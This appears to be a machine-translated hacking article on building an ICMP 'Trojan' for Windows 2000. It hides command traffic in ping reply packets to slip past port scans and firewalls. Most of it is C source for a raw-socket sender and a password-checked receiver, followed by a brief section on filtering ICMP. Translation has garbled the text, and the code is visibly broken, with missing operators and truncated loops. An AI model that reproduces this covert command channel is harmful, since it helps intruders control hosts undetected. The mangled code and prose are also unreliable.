This article will analyze the internal construction and defense methods of Win2000 next new Trojan. (The default operating system of this article is Win2000, the development environment is VC 6.0.)
Everyone knows that the general "classical" type Trojans are transmitted by establishing a TCP connection, but this approach has a fatal vulnerability, which is that the Trojan is waiting and running, there is always one and outside. The contact-mentioned port is open, this is a Trojan's Achilles (see Greek myth "Trojan Wars"), and the master looks for one of the killers of Trojans (Netstat Dafa). The so-called road is one foot, the magic is one feet, the Trojan is constantly growing in the struggle, one of the ICMP Trojans completely got rid of the bondage of the port and became the leader in the hierarchy of hackers.
What is ICMP? ICMP is full of Internet Control Message Protocol. It is an access protocol for IP protocols, which are used to deliver poor messages and other message packets that need to be counted. This protocol is often TCP or UDP protocol services, but it can also Use alone, such as the famous tools ping (to MIKE)
MUUUUUUUSS pays tribute to the network diagnosis by sending receiving ICMP_ECHO and ICMP_ECHOREPLY packets.
In fact, the emergence of ICMP Trojans is inspirated by the PING program. Since the ICMP packet is directly handled by the system kernel or process instead of passing port, this gives Trojans a great opportunity to get rid of the port, Trojan will be disguised himself A ping process, the system will give the listening of ICMP_ECHOREPLY (PING HP) to Trojan Process, once in advance, the original ICMP_ECHOREPLY package appears (can determine the size of the package size, ICMP_SEQ, etc.), the Trojan will accept, Analyze and decode commands and data from the packets.
The ICMP_ECHOREPLY package also has penetration capabilities for firewalls and gateways. For firewalls, ICMP packets are classified as dangerous: from ping of death to ICMP storms to ICMP fragment attacks, constructing ICMP packets has always been one of the best ways to attack the host, so the general firewall will be ICMP packets are filtered; however, ICMP_ECHOREPLY packets often do not appear in the filtering strategy, because once the ICMP_ECHOREPLY packet is not allowed to make PING operations outside the host, this is extremely unfriendled for users. . If the setting is correct, ICMP_ECHOREPLY packets can also pass through the gateway and enter the LAN.
In order to achieve send / monitor ICMP packets, Sock_RAW must be established. First, we need to define an IP header:
Typedef struct iphdr {
Unsigned int version: 4; // ip version number, 4 indicate IPv4
Unsigned int h_len: 4; // 4 top length
Unsigned char TOS; // 8 service type TOS
Unsigned short total_len; // 16-bit total length (bytes)
UNSIGNED short ident; // 16 bit identity
Unsigned short frame_and_flags; // 3 bit flag
Unsigned char TTL; // 8-bit survival time TTL
Unsigned char proto; // 8-bit protocol (TCP, UDP or other)
Unsigned short checksum; // 16-bit IP header checksum unsigned int sourceip; // 32 bitsource IP address
UNSIGNED INT Destip; // 32 bit IP address
} Ipheader;
Then define an ICMP header:
Typedef struct _ihdr {
BYTE I_TYPE; / / 8-bit type
Byte I_code; // 8-bit code
Ushort i_cksum; // 16-bit checksum
Ushort i_id; // identification number (generally used process number as identification number)
Ushort i_seq; // message serial number
Ulong timestamp; // Timestamp
} Icmpheader;
At this time, you can build a original set of interfaces with WSASocket:
SockRaw = WSASOCKET
AF_INET, / / AGRIC
SOCK_RAW, // Protocol type, SOCK_RAW is represented by the original socket
Ipproto_icmp, // protocol, ipproto_ICMP represents ICMP Data
NULL, // WSAPROTOCOL_INFO
0, // Reserved word, always set to 0
WSA_FLAG_OVERLAPPED // flag
);
Note: In order to use the send reception timeout setting (set SO_RCVTIMEO, SO_SNDTIMEO), the flag must be WSA_FLAG_OVERLAPPED.
You can then populate the ICMP report segment using the Fill_ICMP_DATA subroutine:
Fill_ICMP_DATA function:
Void fill_icmp_data (char * icmp_data, int dataize)
{
ICMPHEADER * ICMP_HDR;
Char * datapart;
ICMP_HDR = (ICMPHEADER *) ICMP_DATA;
ICMP_HDR-> i_type = ICMP_ECHOREPLY; // Type ICMP_ECHOREPLY
ICMP_HDR-> I_CODE = 0;
ICMP_HDR-> i_id = (usHort) getCurrentProcessId (); // Identification number as progress number
ICMP_HDR-> i_cksum = 0; // Check and initialization
ICMP_HDR-> i_seq = 0; // Serial number initialization
DataPART = ICMP_DATA SIZEOF (ICMPHEADER); // The address of the data is added to the ICMP packet address plus the first length of ICMP.
MEMSET (DataPart, "A", DataSize - Sizeof (Icmpheader)); // I am filled with "A", you can fill any code and data, actually transferred between Trojans and the control terminal through data segment data.
}
Use the Checksum subroutine to calculate the ICMP checksum:
Call method:
((ICMPHEADER *) ICMP_DATA) -> i_cksum = Checksum ((USHORT *) ICMP_DATA, DATASIZE);
Checksum function:
Ushort Checksum (Ushort * Buffer, int size)
{
Unsigned long cksum = 0;
While (size> 1)
{
CKSUM = * Buffer ;
Size - = SizeOf (Ushort);
}
IF (size) CKSUM = * (Uchar *) BUFFER;
CKSUM = (CKSUM >> 16) (CKSUM & 0xFFF); CKSUM = (CKSUM >> 16);
Return (Ushort) (~ CKSUM);
} // checksum function is a standard checksum function, you can also replace it with any of the optimized checksum functions.
Subsequently, ICMP_ECHOREPLY packets can be sent via Sendto function:
Sendto (SockRaw, ICMP_DATA, DATASIZE, 0, (Struct SockAddr *) & Dest, SizeOf (DEST));
As the listening program of the server, the basic operation is the same, just need to use the RECVFRM function to receive ICMP_ECHOREPLY packets and use the Decoder function to decode the received packets as data and commands:
RECV_ICMP = Recvfrom (SockRaw, Recvbuf, Max_packet, 0, (Struct)
SockAddr *) & from, & fromlen;
Decode_resp (Recvbuf, Recv_icmp, & from);
Decoder function:
Void Decoder (Char * BUF, INT BYTES, STRUCKADDR_IN * FROM)
{
Ipheader * iphdr;
ICMPHEADER * ICMPHDR;
UNSIGNED Short IphDrlen;
iPhdr = (ipheader *) BUF; // ip header address is equal to Buf's address
iphdrlen = iphdr-> h_len * 4; // Because h_len is 32-bit Word, to be converted to bytes must * 4
ICMPHDR = (ICMPHEADER *) (BUF IPHDRLEN); // ICMP header address is equal to IP header plus BUF
Printf ("% D Bytes from% s:", bytes, inet_ntoa (from-> sin_addr); // Take out the source address
Printf ("ICMP_ID =% D.", ICMPHDR-> i_id); // Remove the process number
Printf ("ICMP_SEQ =% D.", ICMPHDR-> i_SEQ); // Take the serial number
Printf ("ICMP_TYPE =% D", ICMPHDR-> i_type); // Remove type
Printf ("ICMP_CODE =% D", ICMPHDR-> i_code); // Remove the code
For (i = 0; // Remove data segment
}
Note: Using Sock_RAW under Win2000 requires administrator's permissions.
For ICMP Trojans, unless you use a sniffer or monitor Windows SockAPI call, it is difficult to find Trojans from the network (regarding the hidden and cracking of the process), then, what is it? What can I remedy? Yes, it is to filter ICMP packets. For Win2000, the ICMP protocol can be filtered using the routing function of the system, and Win2000's Routing
& Remote Access function is very powerful, one is to establish a TCP / IP protocol filter: Open Routing & Remote Access, select the machine name, in the IP route -> general-> network card properties have two filters - input filtering and Output filtering, as long as the protocol you want to filter is a strategy, ICMP Trojans will use the hero. However, it is worth noting that once ICMP_ECHOREPLY packets are banned in the input filter, you don't want to use ping. This tool; if all ICMP packets are filtered, you will not receive any error packets. When you use IE to access a website that does not exist, it will often take several times to know the results (嘿, network Not arrival, the host is not reached, you can't receive a message you can't reach the message), and the TRACERT tool based on the ICMP protocol will also be invalid. This is also the contradiction between convenience and security. appendix:
1. Send the program code for ICMP_ECHOREPLY packets
#include
#include
#include
#define ICMP_ECHO 8 // ICMP Request Request Packet Type value of 8
#define ICMP_ECHOREPLY 0 // ICMP Review Packet Type value is 0
#define ICMP_MIN 8 // The minimum length of ICMP packet is 8 bytes (only the first)
#define ICMP_DEST_IP "127.0.0.1" // IP of the target host
#define ICMP_Password 1234 // Password Settings to identify the control
/ / Define IP's head
Typedef struct iphdr {
Unsigned int version: 4; // ip version number, 4 indicate IPv4
Unsigned int h_len: 4; // 4 top length
Unsigned char TOS; // 8 service type TOS
Unsigned short total_len; // 16-bit total length (bytes)
UNSIGNED short ident; // 16 bit identity
Unsigned short frame_and_flags; // 3 bit flag
Unsigned char TTL; // 8-bit survival time TTL
Unsigned char proto; // 8-bit protocol (TCP, UDP or other)
UNSIGNED Short Checksum; // 16-bit IP header checksum
Unsigned int sourceip; // 32 bitsource IP address
UNSIGNED INT Destip; // 32 bit IP address
} Ipheader;
/ / Define ICMP's head
Typedef struct _ihdr
{
BYTE I_TYPE; / / 8-bit type
Byte I_code; // 8-bit code
Ushort i_cksum; // 16-bit checksum
Ushort i_id; // Identification number (generally used process number as an identification number) Ushort i_seq; // message serial number
Ulong timestamp; // Timestamp
} Icmpheader;
#define status_failed 0xffff
#define def_packet_size 64 // Defines the size of the message to 64 bytes.
#define max_packet 6500 / / Defines the maximum size of 6500 bytes
#define Xmalloc (s) Heapalloc (GetProcessHeap (), Heap_Zero_Memory, (S))
#define xfree (p) Heapfree (getProcessHeap (), 0, (P))
Void Fill_icmp_data (char *, int); // Pack the subroutine of ICMP packets
Ushort checksum (ushort *, int); // calculate the subroutine of the checksum
INT main (int Argc, char ** argv)
{
Wsadata wsadata;
Socket SockRaw = (socket) NULL;
Struct SockAddr_in Dest, from
Struct hostent * hp;
Int Bread, DataSize, Retval, Bwrote
Int fromlen = sizeof (from);
INT TIMEOUT = 1000;
Char * ICMP_DATA;
Char * Recvbuf;
Unsigned int Addr = 0;
Ushort seq_no = 0;
Static int ncount = 0;
IF ((retval = wsastartup (makeword (2, 1), & wsadata))! = 0)
{FPRINTF (stderr, "wsastartup failed:% d / n", retval; exitprocess (status_failed);}
IF ((SockRaw = WSASOCKET (AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0, WSA_FLAG_OVERLAPPED) == Invalid_socket
{fprintf (stderr, "wsasocket () failed:% D / N", wsagetlasterror ()); EXITPROCESS (STATUS_FAILED);
__TRY
{
IF ((Bread = Setsockopt (SockRaw, SOL_Socket, SO_RCVTIMEO, (CHAR *) & Timeout, SizeOf (Timeout)) == Socket_ERROR)
{FPRINTF (stderr, "failed to set recv timeout:% d / n", wsagetlasterror ()); __ leave;} // Settings reception timeout
IF ((Bread = Setsockopt (SockRaw, SOL_Socket, SO_SNDTIMEO, (CHAR *) & Timeout, SizeOf (Timeout)) == Socket_ERROR)
{FPRINTF (stderr, "failed to set send timeout:% d / n", wsagetlasterror ()); __ leave;} // Settings send timeout
MEMSET (& DEST, 0, SIZEOF (DEST);
DEST.SIN_FAMILY = AF_INET; DEST.SIN_ADDR.S_ADDR = INET_ADDR (ICMP_DEST_IP);
DataSize = Def_packet_size;
DataSize = Sizeof (Icmpheader);
ICMP_DATA = Xmalloc (MAX_PACKET);
Recvbuf = xmalloc (max_packet);
If (! ICMP_DATA) {fprintf (stderr, "heapalloc filed% d / n", getLastError ()); __ leave;}
MEMSET (ICMP_DATA, 0, MAX_PACKET);
Printf ("/ nsend packet to% s success! / n", ICMP_DEST_IP);
Fill_icmp_data (ICMP_DATA, DATASIZE); // Populate ICMP Packets
(ICMPHEADER *) ICMP_DATA) -> TimeStamp = gettickcount (); // Set timestamp
(ICMPHEADER *) ICMP_DATA) -> i_seq = icmp_password; // Set the serial number, you can verify this password when actually used
(ICMPHEADER *) ICMP_DATA) -> i_cksum = Checksum (USHORT *) ICMP_DATA, DATASIZE); // Calculate checksum
BWROTE = Sendto (SockRaw, ICMP_DATA, DATASIZE, 0, (Struct SockAddr *) & Dest, Sizeof (DEST)); // Send Packet
IF (BWrote == Socket_ERROR)
{
IF (wsagetlasterror () == wsaetimedout) Printf ("TIMED OUT / N");
FPrintf (stderr, "sendto failed:% d / n", wsagetlasterror ());
__leave;
}
IF (BWrote } __finally { IF (SockRaw! = Invalid_socket) CloseSocket (SOCKRAW); WSACLEANUP (); } Return 0; } / / Calculate the checksum function Ushort Checksum (Ushort * Buffer, int size) { Unsigned long cksum = 0; While (size> 1) { CKSUM = * Buffer ; Size - = SizeOf (Ushort); } IF (size) { CKSUM = * (Uchar *) BUFFER; } CKSUM = (CKSUM >> 16) (CKSUM & 0xFFF); CKSUM = (CKSUM >> 16); Return (Ushort) (~ CKSUM); } // Fill the ICMP Data News function Void fill_icmp_data (char * icmp_data, int dataize) { INT I; Char sendmsg [20] = "Hello World!"; ICMPHEADER * ICMP_HDR; Char * datapart; ICMP_HDR = (ICMPHEADER *) ICMP_DATA; ICMP_HDR-> i_type = ICMP_ECHOREPLY; ICMP_HDR-> I_CODE = 0; ICMP_HDR-> I_ID = (Ushort) getCurrentProcessId (); ICMP_HDR-> I_CKSUM = 0; ICMP_HDR-> i_seq = 0; DataPart = ICMP_DATA SIZEOF (ICMPHEADER); For (i = 0; I } 2, receive the program code for ICMP_ECHOREPLY packets #include #include #include #define ICMP_echo 8 #define ICMP_ECHOREPLY 0 #define ICMP_MIN 8 // minimum 8 Byte ICMP Packet (Just Head) #define ICMP_Password 1234 / * The ip header * / Typedef struct iphdr { Unsigned int h_len: 4; // 4 top length Unsigned int version: 4; // ip version number, 4 indicate IPv4 Unsigned char TOS; // 8 service type TOS Unsigned short total_len; // 16-bit total length (bytes) UNSIGNED short ident; // 16 bit identity Unsigned short frame_and_flags; // 3 bit flag Unsigned char TTL; // 8-bit survival time TTL Unsigned char proto; // 8-bit protocol (TCP, UDP or other) UNSIGNED Short Checksum; // 16-bit IP header checksum Unsigned int sourceip; // 32 bitsource IP address UNSIGNED INT Destip; // 32 bit IP address } Ipheader; / / Define ICMP's head Typedef struct _ihdr { BYTE I_TYPE; / / 8-bit type Byte I_code; // 8-bit code Ushort i_cksum; // 16-bit checksum Ushort i_id; // identification number (generally used process number as identification number) Ushort i_seq; // message serial number Ulong timestamp; // Timestamp } Icmpheader; #define status_failed 0xffff #define def_packet_size 640 # define max_packet 6500 #define Xmalloc (s) Heapalloc (GetProcessHeap (), Heap_Zero_Memory, (S)) #define xfree (p) Heapfree (getProcessHeap (), 0, (P)) Void Fill_ICMP_DATA (Char *, Int); Ushort Checksum (ushort *, int); Void decode_resp (char *, int, structure sockaddr_in *); INT main (int Argc, char ** argv) { Wsadata wsadata; Socket SockRaw = (socket) NULL; Struct SockAddr_in Dest, from Struct hostent * hp; Int Bread, DataSize, RetVal Int fromlen = sizeof (from); INT TIMEOUT = 1000; Char * ICMP_DATA; Char * Recvbuf; Unsigned int Addr = 0; Ushort seq_no = 0; IF ((retval = wsastartup (Makeword (2, 1), & WSADATA)! = 0) { FPRINTF (stderr, "WSAStartup Failed:% D / N", RETVAL); EXITPROCESS (STATUS_FAILED); } SockRaw = WSASOCKET (AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0, WSA_FLAG_OVERLAPPED); IF (SockRaw == Invalid_socket) { FPRINTF (stderr, "wsasocket () failed:% d / n", wsagetlasterror ()); EXITPROCESS (STATUS_FAILED); } __Try { Bread = setsockopt (SockRaw, SOL_Socket, SO_RCVTIMEO, (CHAR *) & Timeout, SizeOf (Timeout); IF (BREAD == Socket_ERROR) { FPRINTF (stderr, "failed to set recv timeout:% d / n", wsagetlasterror ()); __leave; } Bread = setsockopt (SockRaw, SOL_Socket, SO_SNDTIMEO, (CHAR *) & Timeout, SizeOf (Timeout)); IF (BREAD == Socket_ERROR) { FPRINTF (stderr, "failed to set send timeout:% d / n", wsagetlasterror ()); __leave; } MEMSET (& DEST, 0, SIZEOF (DEST); dest.sin_family = af_inet; Dest.sin_addr.s_addr = inet_addr ("207.46.230.218"); // Arbitrary IP Address DataSize = Def_packet_size; DataSize = Sizeof (Icmpheader); ICMP_DATA = Xmalloc (MAX_PACKET); Recvbuf = xmalloc (max_packet); IF (! iCMP_DATA) {fprintf (stderr, "heapalloc failed% D / N", getLastError ()); __leave; } MEMSET (ICMP_DATA, 0, MAX_PACKET); While (1) { Static int ncount = 0; Int bwrote; Fill_icmp_data (ICMP_DATA, DATASIZE); ((ICMPHEADER *) ICMP_DATA) -> i_cksum = 0; ((ICMPHEADER *) ICMP_DATA) -> TimeStamp = GetTickCount (); ((ICMPHEADER *) ICMP_DATA) -> i_seq = 1111; ((ICMPHEADER *) ICMP_DATA) -> i_cksum = Checksum ((USHORT *) ICMP_DATA, DATASIZE); BWrote = Sendto (SockRaw, ICMP_DATA, DATASize, 0, (Struct SockAddr *) & Dest, SizeOf (DEST)); Bread = Recvfrom (SockRaw, Recvbuf, Max_packet, 0, (Struct SockAddr *) & from, & fromLen; IF (Bread == Socket_Error) { IF (wsagetlasterror () == wsaetimedout) { CONTINUE; } FPRINTF (stderr, "recvfrom failed:% d / n", wsagetlasterror ()); __leave; } Decode_resp (Recvbuf, Bread, & from); Sleep (1000); } } __finally { IF (SockRaw! = Invalid_socket) CloseSocket (SOCKRAW); WSACLEANUP (); } Return 0; } Void decode_resp (char * buf, int tentes, struct sockaddr_in * from) { INT I; Ipheader * iphdr; ICMPHEADER * ICMPHDR; UNSIGNED Short IphDrlen; iPhdr = (ipheader *) BUF; iphdrlen = iphdr-> h_len * 4; ICMPHDR = (ICMPHEADER *) (BUF IPHDRLEN); IF (ICMPHDR-> i_seq == ICMP_Password) // The password is correct to output data segment { Printf ("% D Bytes from% s:", bytes, inet_ntoa (from-> sin_addr); Printf ("ICMPTYPE% D", ICMPHDR-> i_TYPE); Printf ("ICMPCODE% D", ICMPHDR-> i_code; Printf ("/ n"); For (i = 0; i <50; i ) Printf ("% c", * (buf iPhdrlen i 12)); } Else Printf ("Other ICMP Packets! / N"); Printf ("/ n"); } Ushort Checksum (Ushort * Buffer, Int size) { Unsigned long cksum = 0; While (size> 1) { CKSUM = * Buffer ; Size - = SizeOf (Ushort); } IF (size) { CKSUM = * (Uchar *) BUFFER; } CKSUM = (CKSUM >> 16) (CKSUM & 0xFFF); CKSUM = (CKSUM >> 16); Return (Ushort) (~ CKSUM); } Void fill_icmp_data (char * icmp_data, int datasize) { ICMPHEADER * ICMP_HDR; Char * datapart; ICMP_HDR = (ICMPHEADER *) ICMP_DATA; ICMP_HDR-> i_TYPE = ICMP_ECHO; ICMP_HDR-> I_CODE = 0; ICMP_HDR-> I_ID = (Ushort) getCurrentProcessId (); ICMP_HDR-> I_CKSUM = 0; ICMP_HDR-> i_SEQ = 12; DataPart = ICMP_DATA SIZEOF (ICMPHEADER); MEMSET (DataPart, 'A', DataSize - Sizeof (Icmpheader);